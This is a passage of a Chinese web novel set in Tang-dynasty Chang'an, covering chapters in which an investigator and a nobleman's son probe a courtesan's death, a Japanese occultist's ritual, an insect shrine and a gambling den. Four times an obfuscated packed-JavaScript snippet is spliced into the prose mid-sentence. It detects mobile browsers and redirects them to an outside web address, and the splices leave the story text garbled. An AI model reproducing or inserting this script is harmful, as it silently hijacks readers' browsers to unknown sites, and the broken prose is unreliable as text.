——“于是,高大人便叫人去请那位叫晁不疑的先生。”三宝道。 舒慈心下一沉,人已来到高府门前,果然是大门紧闭,隔着门板都能感到气氛萧瑟紧张。 她翻身下马,将什么官职高低,查案程序全都抛在脑后,着急地抬手,刚要拍高府的门——却被人从后面一把抓住手腕。 她一回头,正撞上杜月恒那双清澈又带着几分戏谑的眼。 杜月恒食指放在嘴唇上,示意她噤声。 他自己抬手,不慌不忙,“笃笃笃”地敲响高家大门。 门缝中钻出一个小厮的头,一眼认出了杜月恒,“杜二公子?哎呀,今日不巧,夫人的命令,咱家拒不见客,实在不好意思……” “哼,正是你家夫人找我来的。” “……那这位姑娘是?” 杜月恒脸不红心不跳:“她是我找来驱魔的高句丽萨满巫女,要是耽误了你家公子,你可担待不起,少废话!” 说罢,便带着舒慈挤进了高府。 他来不及解释,只是急匆匆地带着她,奔跑在这深宅大院中。看来,他与这高湛确实关系要好,对高府布局一清二楚。 左绕右绕中,杜月恒一猫腰,带着舒慈上了二楼。两人蜷缩在栏杆后,刚好可以清晰地看清庭院内的一切。 庭院此刻只有高夫人、高大人、被绑在椅子上的高湛以及晁不疑。 舒慈终于有空,刚想压低声音询问。杜月恒又是“嘘”了一声,似乎知道她想问什么,贴近她耳边,小心地用气声道:“我在中书省当差,刚好听到高家下人来找高大人。” 这杜二公子原来有工作啊!舒慈心中叹道。杜月恒似乎读出她眼里的揶揄,扁了扁嘴,偏偏头,示意她仔细看那庭院之中。 只见,庭院正中,躺着那只如蛇般大小的巨虫。旁边摆了一张方桌,上面摆放着笔墨、短刀,还有一整只的猪头。 高湛被绑在一把禅椅上,双手缚在扶手上,脸朝上,痴痴地自言自语。 晁不疑向高夫人、高大人行了礼,高大人挥挥手,示意他开始。 于是,晁不义疑又是如法炮制,蹲在高湛面前,在他脸上、脖颈、双手密密麻麻地写满符号。 他写好后,高湛口中立刻停下了喃喃自语,只是痴痴地张着嘴,呆滞地望向天空。 然后,晁不疑将那毛笔一扔,双手合十,口中开始大声地念念有词—— 那是舒慈从未听过的语言,他的声音高低起伏,虽然不解其意,其中却似有一双手,捻起说法印,将她引入其中—— 那咒语中,她似乎看到无垠的蔚蓝色大海,当中泛着一只小舟。忽而暴风骤雨,掀起惊涛骇浪,巨浪如黑鲸,一口将小舟卷入其中,叫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764950|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心跳如擂鼓。还好,那声音忽然低沉下来,暴风雨止住了,海面归于死一般得平静,小舟复而从浪潮中冒出,徜徉在宁静温柔的蓝中。可是,那小舟下却睁开一只巨大的眼珠,深不见底的黑色瞳孔转了两圈,它看到了小舟,也看到了舒慈—— 晁不疑的声音又高亢起来,那眼睛徐徐升出了海面,带起的水流将小舟越推越远—— 舒慈恍惚间,晁不疑已经停止了念诵,转身抄起了短刀,向高湛的面门砍去。 高夫人尖叫一声,趴在丈夫肩头,不敢再继续看。舒慈也下意识捂住嘴,不让自己出声。 可高湛并没有痛呼出声,只是将眼睛、嘴巴一闭,如睡着了一般。 他的面中裂开一条伤口,并没有鲜血流出。相反,那方桌上的猪头面中,同时也裂开了一条口子,鲜血喷涌而出。 接着,晁不疑又是两刀,朝高湛脖颈左右砍去。脖子两边又浮现两条不流血的伤口,猪头的左右同时裂开,暗红的鲜血汩汩流出。 猪头怎么可能流这么多血?! 晁不疑举起刀,跳舞一般地转了个圈,高抬起右手,“唰——”的一声,猛地将短刀从猪头头顶插入。 他又双手合十,对着猪头念起经文,这次他念得更快了,似在催促着什么,随着他的节奏,那猪头流出的血喷溅得越来越快。 当晁不疑停下念诵时,那猪头的血也流尽了。 倏地,他大喝一声,将短刀从猪头中抽出——那银色的刀刃已被鲜血染成了黑红色。 他抄起刀,一个转身跳起,使出全力,将那刀钉入巨虫的头部。 那巨虫的百足立刻挣扎了起来,似乎还没死透似的—— 刹那间,那蛇般的巨虫,变成了一堆森森白骨! ——一切终于结束了,晁不疑直起身,再次双手合十,向高大人、高夫人鞠躬。 高夫人已经软摊在地,而高大人掩面,皆是泣不成声。 高湛终于睁开了眼,那双眼仍是极呆滞的,全无神采。他张了张嘴,声音干涩虚弱,他说:“晁先生,如是我观,逢佛杀佛。” 可已经没人在乎他了,高大人招呼了晁不疑,两人开始了耳语。 只有杜月恒,几乎快要一跃而起,他面色惨白,不可置信地摇着头,低声问舒慈:“怎么可能?那虫子怎么变成白骨?难道,那虫子是人变的?!……高湛……真的杀人了?……不可能……舒姑娘,你能否用左眼看看那白骨,是不是妖术!” 舒慈按住他的肩膀,也是惊愕万分,犹疑中摇了摇头,“杜公子,那巨虫已经死了,神魂俱灭,我这异瞳是分辨不了尸体的……” 还没说完,两人又看到,晁不疑找来一把铁锹,开始将白骨埋入土中。之后,高大人对他恭恭敬敬地行了个礼,请他往大厅而去。 还没等舒慈反应过来怎么回事,杜月恒终于恢复了理智,推测道:“晁不疑……定是用高湛杀人之事,在找高大人讨要官位。” 9. 第五回 高湛(下) 杜月恒扯了扯舒慈的衣角,指了指背后的房间,示意两人先进去。 这房间宽敞,一张架子床、一套书桌椅、一只衣柜,周围几张书架摆放得满满当当、整整齐齐,一看便是主人家的房间。 果然,不等一会,就听到门外传来声响——下人们正要将高湛搬进来,这是他的房间。 二人不得不急中生智,一同躲进了衣柜之中。 舒慈眼前霎时一片漆黑,空间狭小,两人挤在一起,手忙脚乱。她伸手想将衣柜推开,刚好碰上了杜月恒的手,他立刻触电般收回去。她将柜门翕开一条缝隙,终于柜子里透进来些许微光,堪堪可看到屋内的情形。 舒慈可以听见,杜月恒似乎很紧张,他将自己的呼吸放得很慢很轻。这样,她可以清楚地听见两人节奏不一的心跳声。 她注意力回到柜子外面,只见下人们给高湛松绑,合力将他小心抬放到床上后,立刻像是避瘟疫似的小跑离开。 房间复又安静下来,两人便从衣柜里跳出来。 杜月恒一个箭步上前,查看高湛的情况。 高湛的脸和脖颈完好无损,好像方才晁不疑并没有砍那三刀。只是脸色惨白,双眼无神,好像仍未从大梦中醒来。 “高湛,高湛!” 杜月恒叫了两声他的名字,但高湛充耳不闻,只呆呆地望着天花板。 “高湛!是我,我是杜月恒啊!” 听到杜月恒的名字,高湛这才缓缓转过头。他的双眼又空又痴,声音迟缓:“杜兄,是你啊。” “高湛,你到底怎么了?发生了什么事?怎的成了这幅模样?!” 原来杜月恒故意躲在高湛的房间,就是为了等他回来,亲自问个明白。 高湛慢慢将视线移回天花板,好像打定了主意不再看杜月恒,呆滞地吐出几个字:“杜兄,我杀人了。” 停顿了几秒,他又幽幽地说道:“晁先生说,逢佛杀佛,逢亲眷便应当杀亲眷。我做到了,执念已除,没想到,又生新的执念。如此循环往复,难道只能高举佛刀,杀个不停?” 杜月恒急了,问道:“好,你既说你杀人了,那你杀的什么人?在哪里杀的人?何时杀的人?” 高湛沉默了一会,终于轻声答道:“我杀的……” 他的声音颤抖了起来。 “我杀的人是牡丹。” 杜月恒问:“牡丹两日之前死于长安城外青龙寺,跟你有什么关系?” 高湛不答,反倒像是入了魔,一字一顿,大声说道:“晁先生说,那虫就是牡丹,牡丹就是虫,我杀了虫,也就杀了牡丹。” 说罢,那空洞的双眼流下一行热泪。 他又倏地一下坐起来,情绪激动,一把抓住杜月恒的双手:“杜兄,我求你,帮我报官吧!我杀了牡丹!活该我杀人偿命!!让大唐律令惩罚我吧!我受不了了……我、我,我竟杀了牡丹……” 舒慈无语,看来这晁无疑的法术不管用啊,高湛仍旧与先前一样,精神恍惚,疯疯癫癫,语无伦次,不解起意。 杜月恒听了他的胡言乱语,气急败坏,高声说道:“什么晁先生短,晁先生长的?!那晁不疑学艺不精,你一个国子监的,怎的也是不懂? “什么逢佛杀佛!那晁不疑忘了最后两句‘不与物拘,透脱自在’。你根本就没想明白,临济法师所谓‘杀’,是指放下,以自我修行而破除执念!怎么到你这里成了高举佛刀,杀个不停?! “你不懂,我便告诉你!所谓‘即心是佛,无心是道’。意思是,人人自心就有佛性,不向身外求。我只认自己所见、所闻、所信。我之所见,便是今日只见大虫,不见牡丹。我之所闻,便是你胡言乱语,不知何意。我之所信,便是——你高湛不是会杀人之人! 杜月恒高声喊道:“今日,我便是佛!我便是你的道!” 说罢,举起右手,直朝高湛眉间劈去。 舒慈被杜月恒这一出吓了一跳,赶忙要去扶,却被拦下,杜月恒道: “这便是,当头棒喝!” “……”(注) 高湛脑袋结结实实挨了一掌,一时间,头晕目眩,捂着额头,眯着眼睛,眼泪流个不停。 缓了好一会,他眼睛睁大,那空洞的瞳孔中恢复一丝神采,复而黯淡下来,痴傻又茫然地问道:“杜兄,你怎么在这?这位姑娘又是谁?” 杜月恒见他油盐不进,又是生出来几分急智,哄骗高湛道:“你刚刚不是要报官吗?我把人给你找来了,这位姑娘便是大理寺司务!” 他朝舒慈使了使眼色,舒慈配合地亮出文牒,装模做样地学着长官的样子,岔开腿一坐,一拍桌子,高声喊道: “大理寺接到报案,中书令府高湛,可在!” 高湛立刻从床上连滚带爬地跪下来,“我在!我在!” 舒慈见这招有奇效,便提起一口气,严厉地审问道:“堂下高湛,所杀何人?还不快将案件情况,从头到尾,从实招来!” 高湛伏在地上,呜呜呜地痛哭着,一把鼻涕一把泪地讲述起来。 *** 一年前,高湛在拂花楼认识了牡丹。 牡丹生得美丽动人,文采斐然,在整个长安都是数一数二的名伎。两人很快便互生情愫,爱得难舍难分。 半年以前,牡丹突然提出要高湛带她离开。 原来,牡丹的父亲是倭国派遣来的一位留学僧。十八年前,他来到了长安,爱上了牡丹的母亲,二人情投意合,便有了牡丹。 可惜,倭国的留学僧,在大唐学习十年后,必须返回倭国,若滞留在大唐,其国内的亲属家眷就会受到惩处。牡丹八岁时,她父亲的留学时限已到,便丢下了牡丹和她的母亲,毅然决然地登上了回倭国的大船。 牡丹的母亲悲痛之中,患了病,没过几年也去世了。她成了孤儿,被送去了教坊司。 直到近日,有一位倭国来的客人竟带回了她父亲的消息。 原来那留学僧回国后,颇受倭国天子的重用,在朝中任了高官,一直在找自己遗在大唐的女儿,想要将她接回倭国。 可是,牡丹已经深深地爱上了高湛,并不愿意随那人回倭国,于是便请求高湛带她离开。 高湛不是那种无情无义的恩客,他笃记与牡丹的约定——在天愿为比翼鸟,在地愿为连理枝,嘴里说着愿为牡丹付出一切。在家中,高湛也不受父亲重用,本就无心朝野,胸无大志。于是,他便应下了她的请求。 二人约定,三月二十日, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764951|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亥时,在长安城外青龙寺汇合,接着,二人准备便一路向南,去蜀中,寻找新生活。 可没想到,三月二十当日,高湛整理好行囊,正要溜出去,却被他父亲高大人抓了个正着。 高大人不知道从哪听来的消息,知道儿子要带一个花魁私奔,气不打一处来,抓了高湛就是家法伺候,又是打骂,又是罚跪,还将他的行路文书通通收走。 高湛痛苦万分,本猜想牡丹若等不到他,应是回了拂花楼。却没想到,第二日,竟得到牡丹惨死青龙寺的消息。 他一时之间悲痛万分,全怪自己没有赴约,才让牡丹孤身一人,遭此不幸。正当他伤心欲绝时,窗台上突然趴着一只形似蜈蚣的大虫。 他走过去,竟听到那虫子会说话! 正是牡丹的声音在唤他: “高郎……高郎……” 高湛吓得扭头就跑,那虫子又爬到房梁上唤他: “高郎…………” 高湛吓得软摊在地,那虫子仍旧不放过他,爬到桌子上: “高郎!高郎……” 高湛落荒而逃,以为自己是因愧疚而生幻觉,便找到了晁不疑,求他为他祛除癔症。二人一番谈话后,他便决心去杀死执念。 是的,世间没有会说话的虫子,只有高湛的起心动念,虫子只是对照了他的心念,他思念牡丹,于是有了虫子。但他现在害怕了!他不要牡丹了,这世间也就不用虫子了! 回到家,他备了一把短刀在枕头边。深夜时,那虫子果然蜿蜒而至,爬到他的床柱上。又开始唤他。 高湛不管,抄起刀来,一刀刺入虫子的身体,没想到,那虫子挣扎着的,发出女人凄厉的尖叫声: “高郎啊!!!你分明说过——在天愿作比翼鸟,在地愿为连理枝……” 高湛一时惊呆了,这是他与牡丹的约定! 他们曾经月下对饮,唱诗起舞,欢歌弄影。他曾经许诺,他要与她生生世世。但他现在害怕了!他怎么能害怕?怎么能不要她呢? 天长地久有时尽,此恨绵绵无绝期! 高湛崩溃了。 他再也分不清那声音是虚幻还是真实,也分不清这是虫子,还是他最爱的牡丹。 他杀了人,他想自尽,与牡丹天上再会。但他又不敢,只能求求他们报官吧!让大唐律令赐他一死…… 待到下午,高大人请来了晁不疑为儿子祛除邪魅。 他被牢牢绑住,在晁不疑的咒语中,似乎梦回拂花楼。满目桃花盛开,仙乐入耳,香薰扑鼻,恍然间见到牡丹。 她没死,化成了飞天,衣衫飘荡,翩然而至,那凄厉的声音仿佛有回响: “高郎,是你杀了我吗——” 高湛猛地睁开眼。 映入眼帘的正是那巨虫——在晁不疑的刀下,已经化为了一堆白骨。 他听见晁不疑说:“这白骨便是牡丹。虫子也是牡丹,牡丹就是虫子。” 高湛彻底疯了。 ——注:这里关于禅宗的解释是我编的。但临济宗确实有当头棒喝的教学方法。 ——小剧场一则—— 杜月恒:(自以为很帅)这便是,当头棒喝! 舒慈:……你没事吧。 10. 第六回 神龛 正如杜月恒所推测的,高湛疯了,却成全了晁不疑。 今日,将是倭国人晁不疑人生中最重要的一天。 中书令高大人将举荐他入朝为官,像他的前辈晁衡一般,他的名字将永远留在大唐的史书之中。 他跟在高大人后面,亦步亦趋,踏入了太极殿。 他双手颤抖,难以抑制住的兴奋、激动、欣喜。 他不禁想起了自己踏上大唐的那一天—— 他跟随倭国的使团,从九州出发,登上一艘巨大的船,历经数日大海上的颠沛流离,惊涛骇浪,他几次差点命丧东海。 正是对信仰的执着才让他在海上坚持下来,他必须来到大唐,完成属于他的使命。 上天仿佛被他的虔诚感动,保佑他顺利登录了杭州。 他再转运河到汴州、洛阳,一路领略这片广袤大地的神奇的风貌——起初是低矮的丘陵,河流纵横,湖泊星罗棋布,绿意葱葱。随着不断向西行进,突然之间,只见高山拔地而起,风沙渐起,大地壮阔。 他终于走进了长安城,当今世界规模最大、最繁华的都市,街市宽阔,商铺林立,人来人往,熙熙攘攘。 在长安的大街上,一抬眼便能看见,那金碧辉煌的大明宫,如天神的行宫,圣人的居所——谁能想到今日他竟在这其中! 如今,在太极殿的正前面,那放置华贵龙椅的地方,圣人因身体抱恙,垂下了幕帘。 天子不让臣子们目睹他的病容。 高大人开始向皇上介绍晁不疑,称赞他的学问、对大唐的热爱与忠诚。 圣人修道,高大人便称晁不疑精通倭国阴阳之术,与道家法术同源,定能助圣人创盛世辉煌。 圣人没有回答,只是让他们等着。 在鸦雀无声中,晁不疑双腿打起了颤——他太紧张了…… 虽然高大人举荐他的官职不高,但足以让他有机会触到大唐所有的书籍、档案、文书……可以窥见这片大地他梦寐以求的秘密,他将能找到自己的祖先几百年前给自己留下的谜题的答案…… 时间好像已经过去了几百年,晁不疑只能听到自己有力的心跳声…… 圣人终于从幕帘后伸出一只枯槁的手。 他点了三下。 这表示,圣人同意了。 于是,晁不疑双膝一软,颤抖着声音叩谢皇恩。 他控制不住地流下热泪—— 他终于如愿以偿了。 *** 今天对舒慈来说,却是平凡得不能再平凡的一天。 她上午去了大理寺点卯,照例处理完公文,便带着敖瑞、三宝,直奔拂花楼而来。 初春的下午,阳光和煦,微风拂面。 玉莲见是舒慈来了,沏上上好的茶,备好茶点。 现在,一人、一狗、一鸟,正坐在玉莲的厢房,饮茶吃点心,好不惬意。 这可不怪舒慈。 如今高湛疯了,牡丹案的重要线索也就断了。即使那虫子真是牡丹,高湛杀了虫子,那又是谁把牡丹变作虫子的呢? 舒慈又只能回到原点,从拂花楼查起。 可那柳容烟拒不配合,舒慈只能找了自己的长官——大理寺少卿要搜查令。 可对方双手一摊,问她知不知道柳容烟的后台是谁?柳容烟的情/人正是中书令高大人的小舅子,当朝太子眼前的红人。想要搜查令,等找到确切的证据再说吧! 没办法,舒慈只能又来找玉莲。 玉莲一边逗着敖瑞,一边问:“舒姑娘,今日所来何事?可是姐姐的案子有进展了?” 舒慈将高湛的故事掐头去尾,自然也是不提牡丹变成巨虫之类的事情,简短道:“玉莲,我们查到,真正要与牡丹私奔的人,是中书令高府的公子。但他并不是真正的凶手……而且,他现在也疯了。” 玉莲惊讶地啊了一声。 舒慈又将牡丹的身世告诉了玉莲。 “……所以,姐姐她并不是故意骗我,而是怕别人知道她是倭国留学僧的女儿。”玉莲想到这里,不免又为牡丹心痛不已。 舒慈点了点头,诚恳地问道:“玉莲姑娘,还想请问,牡丹姑娘是否提起过一位来自倭国的客人?她曾向高公子说过,这位客人要将她接回倭国。” 玉莲努力回忆,摇了摇头。 “那牡丹姑娘还有没有提起过什么别的人?或者,还有没有什么异常的地方?” 玉莲仔细思索着,灵光一闪:“舒姑娘,我忽然想起来,牡丹姐姐确有一处与我们旁人不同。 “我们平常管教十分严格,很难离开拂花楼。唯独每月逢八这几天,我们可以出门。一般,我们会去寺庙,祈祷诵经,听僧人讲经说法。 “拂花楼的其他人,总是结伴去平康坊净土寺,这样礼佛完毕后,还有逛街游玩的时间。 “可是牡丹姐姐不同,她总是一个人去善和坊。每次一来一去,就要花上一天。我以前问过,为何姐姐要去那么远的地方?她只说,那里的神仙更灵。” “那你可知道那地方在哪?” 玉莲摇摇头:“姐姐没有提起过具体的方位……不过她每次回来,都会给我们带一家胡饼。她说这是全长安最好吃的胡饼店买来的。” *** 善和坊离鸿胪寺不远,正是长安外国人聚集的区域。 长安像是一只巨大的万花筒,不仅聚集着不同民族的人们,还聚集着世界上东南西北的各色美食。 那长安第一的胡饼店并不难找。 现在刚过午饭,店面门口仍是大排长龙。 舒慈挤了进去,买了一只胡饼。又和老板打听起了牡丹。 果然,大胡子的胡人老板对牡丹印象深刻。这名美丽的女子,每月逢八,下午时分便会来买两只胡饼,每次都从胡饼店对面一天狭长的小巷而来。 舒慈吃着胡饼,顺着老板指的路往前走。 她一会掰下来一小块喂给肩膀上的三宝,一会掰下来一小块扔给跟在脚边的敖瑞。 三宝吃饱了,一个振翅,飞到空中,盘旋了一阵又落下来,说前面一处地方颇为奇怪。 舒慈跟着它,走到那建筑门口,立刻就明白为何三宝说颇为奇怪。 那房子的大门与长安别的建筑无异,只是大门外面又有一个大门。 不,说是大门并不准确,更像是一个巨大的“开”字形的门框。那门框漆得漆黑发亮,将本来的大门框在里面。 此时,大门敞开,可以看见里面的庭院。一群人聚在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764952|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,有男有女,有老有少,正用倭语低声交谈。 庭院正中放着一个神龛,雕刻繁复,装饰精美,可是龛门紧闭,不知道里面所供奉的为何物。 几个人聊完天,便依次上前,对神龛鞠躬三次,拍了三下手,虔诚地祈祷起来。 正当舒慈踌躇之际,一个老妇人进来了。或许她以为舒慈亦是前来祈祷的人,双手放在膝盖前向她鞠躬,又叽里呱啦地说了倭语,做了个请的手势。 舒慈假装听懂了,频频点头,给身后的敖瑞和三宝打了个手势,示意他们在外面等候。然后,跟着老妇人进了庭院。 老妇人领着她走到神龛前,先是自己鞠躬三下,又击掌三次,双手合十祈祷后,将位子让给舒慈。 舒慈一时拿不准是要装模做样地拜一拜这个根本不知道是什么的东西,还是直接亮明大理寺查案正身。 正当她犹疑之时,一个熟悉的人影倏地从她身后窜了出来。 只见那人大步上前,“哗哗哗”地鞠了三次躬,又“啪啪啪”鼓掌三次,说时迟那时快,他突然右手一伸—— 杜月恒竟把那神龛的门打开了! 怎么又是你啊! 不等舒慈吼出声,那老妇人一声尖叫,几个倭国壮汉冲上来将杜月恒团团围住。 舒慈听不懂他们在说什么,只听到他们不时高声发出卷舌音,听上去极为愤怒。 杜月恒被围在中间,一直摆手,“别误会啊,我真不知道你们这是个什么东西!……哦哦,这个不能开是吧?那我关上行了吧?” 说罢,转身又想去关神龛的门。 这下好了,一个壮汉冲上来就是死死抓住他的手。 “哎哎哎,痛!别动手啊!有话好好说啊!不行我就报官了——舒慈!!你别光看啊!!!” 舒慈掩面,终于还是良心发现,抬起手,吹了声长长的口哨。 门口的敖瑞闻声而动,“嗖”地一声冲了进来,对着那几个汉子就是“嗷嗷嗷”地犬吠个不停。 那几个倭国人被这足有半人高,浑身漆黑,威风气派,口露獠牙的猎犬吓傻了。 敖瑞一边狂吠,一边退后,舒慈上前,朝着那抓住杜月恒的汉子就是一个猛踹。 那汉子痛得弯下腰,放开杜月恒。 趁这群人还没反应过来,舒慈拉着杜月恒,领着敖瑞,大喊一声:“跑!!!” 两人一狗便往外狂奔。 他们顺着小巷不知道跑了多久。 舒慈从来没觉得长安城有这么大!他们穿过一条条街市,繁华的长安街景飞一样的在他们眼前掠过。 直到望见远处执勤的金吾卫,两人才停下脚步,气喘吁吁。 舒慈喉头发甜,瘫坐在地,感觉再跑两步就要吐血了,拍着胸口顺气,气不打一处来:“杜月恒!怎么又是你啊!” 杜月恒弯腰扶着膝盖,亦是快要背过气去,结结巴巴道:“舒……舒慈,你……你……别急啊…… “你刚刚没看清,那神龛里面供的什么吗?”杜月恒深吸一口气: “那里面供的,正是高湛那日所杀的巨虫!” ——小剧场一则—— 杜月恒:我再也不玩抽象了。 舒慈:我的智障队友。 11. 第七回 赌坊(上) “什么?!” “那神龛里头,放着一只木刻的虫子,”杜月恒气顺了,接着道:“那东西跟我们前日所见巨虫一模一样,只是没有那么大。” 舒慈喘着粗气,一头雾水,这群倭国人为何对着一只虫子拜来拜去?难道这虫子就是他们的神明? 杜月恒又说:“我听说,在倭国,有八百万神。不管是他们的祖先、君王,还是山川、森林、湖泊,甚至动物、植物……都可以成为神仙。因此,在倭国,神明数不胜数,他们自己便称‘八百万神’……我看,那虫子或许就是他们的一种神。” “那狗也可以成为神吗?” “鸟呢?鸟也可以吗?” 敖瑞蹲坐在舒慈脚边,正伸着舌头喘气。三宝不知道什么时候跟着他们飞了过来,正停在敖瑞的脑袋上。这一狗一鸟突然听到,杜月恒说动物也可以成神明,便情不自禁出声发问。 “当然,神明本就是人共同的想象,只要有人相信狗和鸟可以庇护一方,带来神运,自然可以成神……不对?!?!” 杜月恒反应过来,吓得往后一跳,刚刚跑出来的热气瞬间转为冷汗:“舒、舒、舒姑娘……你这狗怎、怎么会说话?!不会是我也产生幻觉了吧?!” 舒慈无言,懒得与他多费口舌,便道:“杜公子,你没有出现幻觉。这是我缉妖司的同僚……放心,他们皆为善妖。” 杜月恒张着嘴,呆滞地思考良久,终于接受了狗和鸟会说话、妖也可以在大理寺任职的事实。 他擦擦汗,蹲下来,摊开一只手:“犬兄弟,刚刚在那虫子庙,还要多谢你出手相助。” 敖瑞摇了摇尾巴,伸出前爪,与杜月恒握了一握:“杜公子,言重了!阿慈姐的事,就是大理寺的事。大理寺的事,便是我敖瑞的事。” “那我呢?我也帮了不少忙啊!”三宝哼唧道。 杜月恒站起来,向敖瑞头上的三宝鞠了一躬:“也谢谢你!鸟妹妹!” 舒慈默默翻了个白眼,三宝在世间修行已逾六十年,叫她一声鸟奶奶还差不多。 舒慈清了清嗓子,又问:“杜月恒,你今日跑到刚刚那地方干什么?” 杜月恒老实回答:“我不是跟你说过,我怀疑晁不疑妄图谋骗官位吗?于是,我曾经跟踪过他。” “……” “我发现,他几乎每日下午,都要去刚刚那个虫子庙拜上一拜,但我怕他认出我来,从来没有进去查看过。今天,高大人举荐晁不疑入朝为官,他下午自然不会来,我才前去调查。” “……” 这古怪的倭人虫子庙又与晁不疑有关,舒慈思忖道,看来确需彻查此处。又一想,刚刚杜月恒大闹神龛,肯定已经打草惊蛇,再要调查,怕是困难重重。想到这,舒慈不禁恼火地横了杜月恒一眼。 “哎,舒姑娘,”杜月恒挨了一记眼刀,辩解道:“我也是好心办了坏事嘛!我听那倭国妇人对着你叽里呱啦,以为她是跟你说‘打开神龛的门’。怕你露馅,便替你打开了。现在想来,她应该是说,‘不要打开神龛的门’。(注)” “……” “哎,你别着急!我还有一计,”杜月恒脑筋一转,兴致勃勃道:“你想,他们一群倭国人,怎么会在长安有房产?那必是有人将房屋租赁或是借用给他们!那我们直接查查那房子的主人是谁,不就迎刃而解了吗?” 于是,二人便往万年县令府而去。 那万年县令见了大理寺的文牒,本想推辞,又见到杜月恒,立刻挤出笑容满面,连声道,既是杜二公子和大理寺的都要查,那一定要帮这个忙。便叫下人将二人带到房契司。 那房契司当班的,一脸不耐烦,听了那房子的位置,便转身进了案牍之中,整整一炷香的时间,才拿了文卷出来。 舒慈和杜月恒摊开文卷,确认了房屋、位置皆没有错,只见房屋主人那一栏写着:柳容烟。 二人面面相觑,惊讶得说不出话。 那当班的扫了一眼文卷,却似乎熟悉的很,以为他们是要买柳容烟的房子,便道:“你们二位找的柳容烟的房子啊?那你们可要搞清楚,这房子是不是已经被抵押出去了。” 当班的见二人又是一惊,便撇了撇嘴道:“你们不知道啊?这柳容烟好赌,输了就把房子抵押出去。她那平康坊的生意赚了钱,又把房子赎回来。她那些房产早就不知道被她抵押了多少次了!” 那当班的颇有几分鄙夷,又忙着下班,伸手要拿那文卷。 杜月恒一把将文卷按住,“这位小哥,那这文卷上怎么没盖上抵押的印章?我们怎么知道她这房子抵押给谁了?” 当班的“啧”了一声:“你们怎么又不知道?你们不知道这柳容烟背后是谁吗?” 杜月恒摇了摇头。 当班的态度又坏上了几分,压低声音道:“那柳容烟的相好,是万年县不良人的老大!为了这房子,找了我们县令不知道多少回,之前就是不愿意写上房屋抵押。你们要想知道这房子现在有没有抵出去,抵给了谁,我看,只能问她本人喽!” *** 今夜月相不佳,一轮钩月挂在长安城上空,乌云淡淡。月光越是晦暗,越衬得平康坊灯火辉煌,青楼幢幢皆是银烛碧纱笼,亮如白昼。 舒慈、杜月恒,敖瑞、三宝,两人两妖,正躲在拂花楼后门的一片阴影中。 约莫子时,终于见到柳容烟的身影从后门飘了出来,她四处张望一番,一改平日的风姿绰约,却有一些鬼鬼祟祟、畏畏缩缩。 两人两妖随即跟上,柳容烟在平康坊内弯弯绕绕,总算是来到一处商铺门口。 那屋子里灯光全无,招牌褪色斑驳,外墙剥落,乍一眼看上去似乎已经倒闭。 柳容烟抬起手敲了三下,店门隙开一条缝,她低语两句,那门便打开,她立刻闪身进去。 杜月恒打了个“上”的手势,走在前面。 舒慈此时已经换上一袭男装,长发绾进幞头里,一身翠绿交领衫,煞是英俊潇洒的公子哥。 敖瑞站起来,又变作黑衣少年,把三宝往兜里一揣,紧紧跟在后面。 杜月恒学着柳容烟,抬手敲了三下门,店门隙开一条缝,黑暗里露出一个中年男子的脸。 那男子显是没见过他们,面露怀疑道:“月黑风高夜。” 杜月恒稍一思索,对道:“金玉满堂时。” 那男子便没再多说,点点头,将三人领了进去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764953|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那店铺还有一个后门,出去便是一个狭小的庭院,既无装饰,也无植物。对面是一栋小楼,点着隐隐绰绰的灯。 进了那小楼内,空间狭小,却摆了满满当当十余张桌子,每个角落都站着一个壮汉,警惕地打量每个人。 灯光昏暗,空气中弥漫着汗味和酒气。每一张赌桌都围满了人,有的身着丝绸锦缎、镶金边银线,有的穿麻布衣服,缀满了补丁。个个脸上都是同样的紧张专注,玩骰子的,玩牌九的,下注的,时不时爆发出欢呼、咒骂声,接着又是骰子滚动的声音。全长安的财富似乎都聚集在这小楼里,每张桌子都堆满了金银财宝,满眼都是黄金、银器、玛瑙、宝石……目不暇接,应有尽有。 舒慈瞪大了眼睛,正在烟雾缭绕中搜寻柳容烟的身影,却听得一个沙哑又刺耳的声音道: 